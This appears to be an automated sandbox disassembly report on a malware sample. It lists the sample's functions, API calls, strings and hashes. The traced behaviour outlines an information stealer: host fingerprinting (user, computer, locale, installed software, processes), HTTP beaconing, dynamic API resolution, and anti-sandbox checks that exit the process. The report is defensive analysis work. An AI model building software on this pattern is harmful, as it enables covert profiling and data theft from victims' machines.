Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $ U~$ }$%s\%s$?$pS~
API String ID: 3246050789-34451944
Opcode ID: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction ID: c228fa157c9b2873a9233ab8a396ad333d8a8ae6667b392d6015aff843962e7d
Opcode Fuzzy Hash: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction Fuzzy Hash: 47812D71911118ABDB24DB50DD95FEAB7B9BF08314F1082DEE10966180DF746BC8CFA9

Function 004062D0 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,007E6F18), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,007E65E8,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406519
GET, xrefs: 004063CC
FUA, xrefs: 004062E0, 0040656D, 0040652E, 0040646C, 004062E3
ERROR, xrefs: 00406457
e~, xrefs: 004063C1

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUA$GET$e~
API String ID: 3074848878-2813289431
Opcode ID: f3f7255e0d2dc24356a6d92e3ef249651165f71d209c9760ff987d984a1e72ad
Instruction ID: e13f8b4f5a4983f25bfc964ce73e77e76ffbf3c7ad5d81db2c216f4c68459c1c
Opcode Fuzzy Hash: f3f7255e0d2dc24356a6d92e3ef249651165f71d209c9760ff987d984a1e72ad
Instruction Fuzzy Hash: 33718171A00218ABDB14DF90DC59FEEB775AF44304F1081AAF6067B1D4DBB86A84CF59

Function 00415760 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,007DD5A0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004158F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415AA7

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00415440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00415510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 0041557F
Part of subcall function 00415510: StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155D3
Part of subcall function 00415510: strtok.MSVCRT(00000000,?), ref: 004155EE
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004159DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415C5C
Sleep.KERNEL32(0000EA60), ref: 00415C6B

Strings

ERROR, xrefs: 00415C4E
ERROR, xrefs: 00415B82
ERROR, xrefs: 00415A99
ERROR, xrefs: 00415886
ERROR, xrefs: 004159CD
ERROR, xrefs: 004158E3
Xj}, xrefs: 004157D5, 00415833

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Xj}
API String ID: 3630751533-3949306146
Opcode ID: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction ID: 55671caa9f17e02bf2b096751d64d2e50591885947f125be0164830bf8637258
Opcode Fuzzy Hash: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction Fuzzy Hash: 30E1A331A111049BCB14FBA1EDA6EED733EAF54304F40856EF50666091EF386B98CB5A

Function 00411C60 Relevance: 23.6, APIs: 2, Strings: 11, Instructions: 857
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00417690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
Part of subcall function 00417690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 0041779A

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 00417820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
Part of subcall function 00417820: HeapAlloc.KERNEL32(00000000), ref: 0041783B

Part of subcall function 00417950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,007E5D38,00000000,?), ref: 00417982
Part of subcall function 00417950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,007E5D38,00000000,?), ref: 00417989

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 00417B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
Part of subcall function 00417B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
Part of subcall function 00417B10: GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
Part of subcall function 00417B10: wsprintfA.USER32 ref: 00417B83

Part of subcall function 00417BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
Part of subcall function 00417BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
Part of subcall function 00417BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D

Part of subcall function 00417C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417CC5

Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
Part of subcall function 00417D20: LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
Part of subcall function 00417D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
Part of subcall function 00417D20: LocalFree.KERNEL32(00000000), ref: 00417EB2

Part of subcall function 00417F10: GetSystemPowerStatus.KERNEL32(?), ref: 00417F3D

GetCurrentProcessId.KERNEL32(00000000,?,007E5D18,00000000,?,00420E0C,00000000,?,00000000,00000000,?,007E54A8,00000000,?,00420E08,00000000), ref: 004122CE

Part of subcall function 00419600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
Part of subcall function 00419600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
Part of subcall function 00419600: CloseHandle.KERNEL32(00000000), ref: 0041963F

Part of subcall function 00417F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
Part of subcall function 00417F90: HeapAlloc.KERNEL32(00000000), ref: 00417FCE
Part of subcall function 00417F90: RegOpenKeyExA.KERNEL32(80000002,007DB1A0,00000000,00020119,?), ref: 00417FEE
Part of subcall function 00417F90: RegQueryValueExA.KERNEL32(?,007E5E18,00000000,00000000,000000FF,000000FF), ref: 0041800F
Part of subcall function 00417F90: RegCloseKey.ADVAPI32(?), ref: 00418022

Part of subcall function 004180F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00418159
Part of subcall function 004180F0: GetLastError.KERNEL32 ref: 00418168

Part of subcall function 00418060: GetSystemInfo.KERNEL32(00420E14), ref: 00418090
Part of subcall function 00418060: wsprintfA.USER32 ref: 004180A6

Part of subcall function 00418290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,007E5610,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
Part of subcall function 00418290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,007E5610,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
Part of subcall function 00418290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418302
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418310
Part of subcall function 00418290: wsprintfA.USER32 ref: 0041833C

Part of subcall function 00418950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
Part of subcall function 00418950: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
Part of subcall function 00418950: wsprintfA.USER32 ref: 004189E0

Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,007DE420,00000000,00020019,00000000,004205BE), ref: 00418534

Part of subcall function 004184B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
Part of subcall function 004184B0: wsprintfA.USER32 ref: 004185E9
Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 0041861C
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 00418810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Part of subcall function 00418810: Process32First.KERNEL32(?,00000128), ref: 0041886E
Part of subcall function 00418810: Process32Next.KERNEL32(?,00000128), ref: 00418883
Part of subcall function 00418810: CloseHandle.KERNEL32(?), ref: 004188F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004128AB

Strings

HT~, xrefs: 0041219A
V~, xrefs: 004124AB
S~, xrefs: 00411F35
`T~, xrefs: 0041233B
HW~, xrefs: 004128C0
U~, xrefs: 0041202A
0T~, xrefs: 00412120
aA, xrefs: 004128D4, 00412902, 004128D7
0W~, xrefs: 00412696
8]~, xrefs: 00411EBA
8U~, xrefs: 00411D6A

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: aA$0T~$0W~$8U~$8]~$HT~$HW~$`T~$S~$U~$V~
API String ID: 2204142833-3262636934
Opcode ID: 43b0dc0129c481675baec2e366f397040ccf37764c0e3ac246b7b636c82d6561
Instruction ID: 4f79722ab1709daed6719e9a1a5ed0a8a89ced1591e892962b9c5cf472760468
Opcode Fuzzy Hash: 43b0dc0129c481675baec2e366f397040ccf37764c0e3ac246b7b636c82d6561
Instruction Fuzzy Hash: 9872ED72D15058AACB19FB91ECA1EEE733DAF10314F5042DFB11662056EF343B98CA69

Function 00417690 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
HeapAlloc.KERNEL32(00000000), ref: 0041779A
wsprintfA.USER32 ref: 004177D0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

C, xrefs: 004176DC
XS~, xrefs: 004177C5
\, xrefs: 004176F0
:, xrefs: 004176EC

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$XS~$\
API String ID: 3790021787-3581249519
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 56630df3f9a1121e358c86d43682af9e85f8bbcd47ea8763ba8f74f533c9f43c
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: 8541B6B1D05358DBDB10DF94CC45BDEBBB8AF48704F10009AF509A7280D7786B84CBA9

Function 00418290 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,007E5610,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,007E5610,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
__aulldiv.LIBCMT ref: 00418302
__aulldiv.LIBCMT ref: 00418310
wsprintfA.USER32 ref: 0041833C

Strings

`T~, xrefs: 0041832B, 0041832E
@, xrefs: 004182DD
%d MB, xrefs: 00418333

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@$`T~
API String ID: 2886426298-1839083511
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 389ef6515a1f2427be64b00d9458de7be2b91b0079cd17c5d853587b1d371e56
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: 8B214AF1E44218ABDB00DFD5DD49FAEBBB9FB44B04F10450AF615BB280D77969008BA9

Function 0249003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0249024D

Strings

kernel32.dll, xrefs: 0249008F, 02490095
cess, xrefs: 0249018D

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 399dcb6eb3918c0fda0455d7dbc85658349493339161d9849fa38a55beedf806
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: D2525874A01229DFDB64CF58C984BA9BBB1BF09314F1480DAE94DAB351DB30AE95CF14

Function 0041856C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

RegQueryValueExA.KERNEL32(00000000,007E5520,00000000,000F003F,?,00000400), ref: 0041867C
lstrlenA.KERNEL32(?), ref: 00418691
RegQueryValueExA.KERNEL32(00000000,007E5370,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B3C), ref: 00418729
RegCloseKey.KERNEL32(00000000), ref: 00418798
RegCloseKey.ADVAPI32(00000000), ref: 004187AA

Strings

%s\%s, xrefs: 004185DD
}, xrefs: 004185D6

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: }$%s\%s
API String ID: 3896182533-3568097925
Opcode ID: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction ID: 130e8712b2d17d0f4a3aa70f9b32a38deb323cc32c4c6a80807e33934adfa5f1
Opcode Fuzzy Hash: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction Fuzzy Hash: 0F211B71A112189BDB24DB54DC85FE9B3B9FB48704F1081D9E609A6180DF746AC5CF98

Function 00416C90 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DEC38), ref: 00419BF1
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DE980), ref: 00419C0A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DE950), ref: 00419C22
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DE998), ref: 00419C3A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DEB30), ref: 00419C53
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007D5E88), ref: 00419C6B
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007D69B8), ref: 00419C83
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007D6C38), ref: 00419C9C
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DE9E0), ref: 00419CB4
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DE9F8), ref: 00419CCC
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DEB00), ref: 00419CE5
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DEBA8), ref: 00419CFD
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007D6B98), ref: 00419D15
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(774B0000,007DEB18), ref: 00419D2E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416A10: GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14

GetUserDefaultLCID.KERNEL32 ref: 00416CC6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
